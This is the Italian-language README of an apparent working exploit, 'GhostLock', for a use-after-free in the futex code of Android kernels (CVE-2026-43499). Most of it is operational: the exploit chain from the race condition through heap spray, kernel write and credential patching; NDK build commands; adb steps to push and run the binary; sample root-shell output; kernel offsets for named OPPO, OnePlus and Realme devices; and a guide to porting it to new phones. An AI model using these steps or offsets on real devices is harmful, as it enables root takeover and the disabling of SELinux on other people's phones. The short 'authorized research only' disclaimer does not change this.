GhostLock - CVE-2026-43499 Exploit di escalation dei privilegi locali

Panoramica della vulnerabilità

ID CVE: CVE-2026-43499
Tipo di vulnerabilità: futex PI (priority inheritance) stack UAF (Use-After-Free)
Impatto: kernel Linux 6.1 ~ 6.12 (Android GKI)
Effetto dell'exploit: escalation dei privilegi locali + disabilitazione di SELinux, ottenere una root shell

Funzionamento

Percorso di attivazione della vulnerabilità

Spazio utente → pselect() → allocazione di rt_mutex_waiter sullo stack del kernel
                      → le operazioni futex PI attivano il rilascio del waiter
                      → la memoria del waiter rilasciata viene riutilizzata dalle operazioni fd_set
                      → i campi del waiter vengono controllati tramite dati fd_set costruiti con cura
                      → rb_erase() attiva la scrittura arbitraria nella memoria del kernel

Catena dell'exploit

Attivazione della vulnerabilità: rilascio di rt_mutex_waiter sullo stack del kernel tramite la race condition di pselect() + futex PI
Controllo del layout di memoria: heap spray del kernel con pipe_buffer per costruire un falso rt_mutex_waiter
Scrittura arbitraria: sfruttare le operazioni ad albero di rb_erase() per scrivere puntatori controllati in un indirizzo di destinazione
Percorso di escalation:
- Modifica della struttura cred: uid/gid → 0, capabilities → tutte abilitate
- Disabilitazione di SELinux: selinux_state.enforcing → 0
Verifica: nuova scansione di ashmem_fops per confermare l'integrità di CFI

Struttura del progetto

GhostLock/
├── README.md                    # Questo documento
├── src/
│   ├── core/                    # Codice principale dell'exploit
│   │   ├── main.c               # Punto di ingresso principale, attivazione della vulnerabilità
│   │   ├── pipe.c               # Pipe buffer spray
│   │   ├── fops.c               # Hijacking delle operazioni sui file
│   │   ├── root.c               # Escalation dei privilegi + disabilitazione SELinux
│   │   ├── slide.c              # Gestione della randomizzazione degli indirizzi del kernel
│   │   ├── util.c               # Funzioni di utilità
│   │   ├── miniadb.c            # Mini server ADB
│   │   ├── common.h             # Definizioni comuni
│   │   ├── target.h             # Configurazione del target
│   │   ├── offset.h             # Include degli offset
│   │   ├── runtime_offsets.h    # Tabella degli offset a runtime
│   │   └── kernelsnitch/        # Sondaggio degli indirizzi del kernel
│   │       ├── kernelsnitch.h
│   │       ├── futex_hash.h
│   │       ├── utils.h
│   │       └── timeutils.h
│   └── devices/                 # Adattamento dei dispositivi
│       ├── offsets.h            # Definizione della struttura degli offset
│       ├── findx8/              # OPPO Find X8
│       │   └── offsets.h
│       ├── ace6t/               # OnePlus Ace 6T
│       │   └── offsets.h
│       ├── op15/                # OnePlus 15
│       │   └── offsets.h
│       ├── opd2502/             # OnePlus Pad 2
│       │   └── offsets.h
│       └── rmx5070/             # Realme RMX5070
│           └── offsets.h
├── tools/                       # Strumenti ausiliari
│   └── extract_btf.py           # Script di estrazione degli offset BTF
├── btf_*.py                     # Raccolta di script di analisi BTF
├── Makefile                     # Script di build
├── compile.cmd                  # Script di compilazione Windows
├── build.rsp                    # File di risposta alla compilazione
└── ghostlock                    # Artefatto di compilazione (ELF aarch64)

Dispositivi supportati

Dispositivo	Versione kernel	Stato
OPPO Find X8 (MT6991)	6.6.118-android15	✅ Adattato
OnePlus Ace 6T	6.1.x	✅ Verificato
OnePlus 15	6.1.x	✅ Verificato
OnePlus Pad 2	6.1.x	✅ Verificato
Realme RMX5070	6.1.x	✅ Verificato

Compilazione

Requisiti di ambiente

Android NDK r27c o successivo
Python 3.x (per l'analisi BTF)
Linux/macOS/WSL (Linux consigliato)

Passaggi di compilazione

# 1. Imposta il percorso NDK
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. Compila
make

# 3. Oppure compila direttamente con NDK
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock

Compilazione Windows

# Usa il compile.cmd fornito
compile.cmd

Utilizzo

Prerequisiti

Il telefono ha il debug USB abilitato
Il computer ha i driver ADB installati
Il telefono è collegato al computer via USB

Passaggi

# 1. Verifica la connessione del dispositivo
adb devices

# 2. Verifica la versione del kernel (deve corrispondere)
adb shell uname -r
# Output atteso: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. Copia l'exploit sul telefono
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. Esegui l'exploit
adb shell /data/local/tmp/ghostlock

Esempio di output di esecuzione

[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...

Indicatori di successo

Compare il prompt # (root shell)
Il comando id mostra uid=0(root)
getenforce restituisce Permissive

Dettagli tecnici

Layout di memoria del kernel

KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)

Offset dei simboli chiave (Find X8)

Simbolo	Offset
init_task	0x0211E280
init_cred	0x02130748
selinux_enforcing	0x02358EE0
ashmem_misc	0x0227C518
ashmem_fops	0x012EF5C0
kmalloc_caches	0x0167A298

Offset delle strutture (verifica BTF)

Struttura	Campo	Offset
task_struct	cred	0x820
task_struct	real_cred	0x818
task_struct	tasks	0x550
task_struct	pi_lock	0x90C
task_struct	seccomp	0x8E8
cred	uid	0x08
cred	caps	0x30
file_operations	ioctl	0x48
file_operations	splice_read	0xB8

Percorso dell'exploit

kernelsnitch - scansiona la regione direct_map per localizzare mm_struct
pipe spray - occupa la memoria del waiter rilasciata con pipe_buffer
pselect trigger - attiva la UAF e riutilizza il waiter liberato
rb_erase write - implementa la scrittura arbitraria tramite le operazioni dell'albero rosso-nero
cred patch - modifica le credenziali del processo corrente
SELinux disable - disabilita il controllo degli accessi obbligatorio

Adattamento dei dispositivi

Aggiungere un nuovo dispositivo

Estrai l'immagine del kernel:

# Estrai boot.img dal telefono
adb pull /dev/block/by-name/boot boot.img

# Oppure estrailo dal pacchetto firmware

Estrai kallsyms:

# Usa vmlinux-to-elf
python3 -m vmlinux_to_elf boot.img
# Seleziona l'opzione "Extract kallsyms"

Estrai le informazioni BTF:

python3 btf_task2.py > task_full.txt
python3 btf_structs2.py > structs.txt

Crea una voce per il dispositivo:

mkdir -p src/devices/mydevice
# Copia una voce esistente come modello
cp src/devices/findx8/offsets.h src/devices/mydevice/
# Modifica gli offset

Registra il dispositivo: In src/devices/offsets.h aggiungi:
```
#include "mydevice/offsets.h"
```

Metodi per ottenere gli offset

Informazione	Sorgente	Strumento
Indirizzo del simbolo	kallsyms	vmlinux-to-elf
Offset della struttura	BTF	btf_task2.py
Layout della memoria fisica	IKCONFIG	extract-ikconfig
Versione del kernel	uname	adb shell uname -r

Script degli strumenti

Script di analisi BTF

# Estrae i membri completi di task_struct
python3 btf_task2.py > task_full.txt

# Estrae tutte le strutture chiave
python3 btf_structs2.py > structs.txt

# Estrae strutture specifiche
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt

# Estrae i dati BTF grezzi
python3 btf_raw.py > raw.txt

Estrazione di kallsyms

# Usa vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin

# Oppure usa uno script personalizzato
python3 run_kallsyms_finder.py

Note di sicurezza

⚠️ Avvertenza: questo strumento è destinato esclusivamente alla ricerca sulla sicurezza e ai test autorizzati. L'uso non autorizzato su dispositivi di terzi è illegale.

Limitazioni note

Richiede il debug USB abilitato
Richiede una connessione ADB (non sfruttabile da remoto)
La versione del kernel deve corrispondere esattamente
Alcuni dispositivi potrebbero avere meccanismi di sicurezza aggiuntivi

Protezione CFI

Questo exploit è in grado di aggirare la protezione Control Flow Integrity (CFI) del kernel tramite:

Verifica della validità dell'indirizzo di ashmem_fops
Uso di copy_splice_read come destinazione di chiamata legittima
Nuova scansione per confermare l'integrità di CFI

Debug

Problemi comuni

D: Viene visualizzato "no offsets for kernel: xxx" R: La versione del kernel non è supportata; è necessario aggiungere una voce per il dispositivo.

D: l'exploit rimane bloccato R: Potrebbe essere un fallimento della race condition; riprova alcune volte.

D: si verifica un kernel panic R: Improbabile (panic_on_oops non è impostato), ma puoi controllare dmesg.

Output di debug

# Abilita l'output dettagliato
adb shell /data/local/tmp/ghostlock -v

# Visualizza i log del kernel
adb shell dmesg | tail -50

Risorse correlate

Licenza

Questo progetto è rilasciato sotto la licenza MIT.

Ringraziamenti

Grazie a tutti i ricercatori di sicurezza per il loro contributo
Grazie al team di sicurezza Android per la risposta
Grazie alla comunità open source per il supporto

Ultimo aggiornamento: 13 agosto 2026
Autore: wzh
Contatto: [email protected]